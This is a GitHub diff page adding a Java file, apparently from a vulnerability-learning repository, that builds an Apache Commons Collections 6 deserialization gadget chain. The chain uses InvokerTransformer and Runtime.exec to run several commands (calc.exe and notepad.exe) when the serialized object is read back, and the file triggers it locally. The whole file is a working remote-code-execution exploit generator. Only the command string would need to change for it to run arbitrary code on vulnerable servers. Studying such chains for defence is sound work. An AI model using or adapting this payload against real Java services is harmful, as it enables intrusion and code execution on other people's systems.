| FazBrowse GitHub Viewer | Trending | | Home |
| Tools: [Download Repo ZIP] [Original HTTPS Page] |
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
@@ -0,0 +1,66 @@ | |||
| 1 | + package com.govuln.deserialization; | ||
| 2 | + | ||
| 3 | + import org.apache.commons.collections.Transformer; | ||
| 4 | + import org.apache.commons.collections.functors.ChainedTransformer; | ||
| 5 | + import org.apache.commons.collections.functors.ConstantTransformer; | ||
| 6 | + import org.apache.commons.collections.functors.InvokerTransformer; | ||
| 7 | + import org.apache.commons.collections.keyvalue.TiedMapEntry; | ||
| 8 | + import org.apache.commons.collections.map.LazyMap; | ||
| 9 | + | ||
| 10 | + import java.io.*; | ||
| 11 | + import java.lang.reflect.Field; | ||
| 12 | + import java.util.HashMap; | ||
| 13 | + import java.util.Map; | ||
| 14 | + | ||
| 15 | + public class CommonsCollections6Multiple { | ||
| 16 | + public static void main(String[] args) throws Exception { | ||
| 17 | + Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)}; | ||
| 18 | + Transformer[] transformers = new Transformer[] { | ||
| 19 | + new ConstantTransformer(Runtime.class), | ||
| 20 | + new InvokerTransformer("getMethod", new Class[] { String.class, | ||
| 21 | + Class[].class }, new Object[] { "getRuntime", | ||
| 22 | + new Class[0] }), | ||
| 23 | + new InvokerTransformer("invoke", new Class[] { Object.class, | ||
| 24 | + Object[].class }, new Object[] { null, new Object[0] }), | ||
| 25 | + new InvokerTransformer("exec", new Class[] { String.class }, | ||
| 26 | + new String[] { "calc.exe" }), | ||
| 27 | + new ConstantTransformer(Runtime.class), | ||
| 28 | + new InvokerTransformer("getMethod", new Class[] { String.class, | ||
| 29 | + Class[].class }, new Object[] { "getRuntime", | ||
| 30 | + new Class[0] }), | ||
| 31 | + new InvokerTransformer("invoke", new Class[] { Object.class, | ||
| 32 | + Object[].class }, new Object[] { null, new Object[0] }), | ||
| 33 | + new InvokerTransformer("exec", new Class[] { String.class }, | ||
| 34 | + new String[] { "notepad.exe" }), | ||
| 35 | + new ConstantTransformer(1), | ||
| 36 | + }; | ||
| 37 | + Transformer transformerChain = new ChainedTransformer(fakeTransformers); | ||
| 38 | + | ||
| 39 | + // 不再使用原CommonsCollections6中的HashSet,直接使用HashMap | ||
| 40 | + Map innerMap = new HashMap(); | ||
| 41 | + Map outerMap = LazyMap.decorate(innerMap, transformerChain); | ||
| 42 | + | ||
| 43 | + TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey"); | ||
| 44 | + | ||
| 45 | + Map expMap = new HashMap(); | ||
| 46 | + expMap.put(tme, "valuevalue"); | ||
| 47 | + | ||
| 48 | + outerMap.remove("keykey"); | ||
| 49 | + | ||
| 50 | + Field f = ChainedTransformer.class.getDeclaredField("iTransformers"); | ||
| 51 | + f.setAccessible(true); | ||
| 52 | + f.set(transformerChain, transformers); | ||
| 53 | + | ||
| 54 | + // ================== | ||
| 55 | + // 生成序列化字符串 | ||
| 56 | + ByteArrayOutputStream barr = new ByteArrayOutputStream(); | ||
| 57 | + ObjectOutputStream oos = new ObjectOutputStream(barr); | ||
| 58 | + oos.writeObject(expMap); | ||
| 59 | + oos.close(); | ||
| 60 | + | ||
| 61 | + // 本地测试触发 | ||
| 62 | + System.out.println(barr); | ||
| 63 | + ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); | ||
| 64 | + Object o = (Object)ois.readObject(); | ||
| 65 | + } | ||
| 66 | + } | ||
| Back | FazBrowse Home | New Git URL |
0 commit comments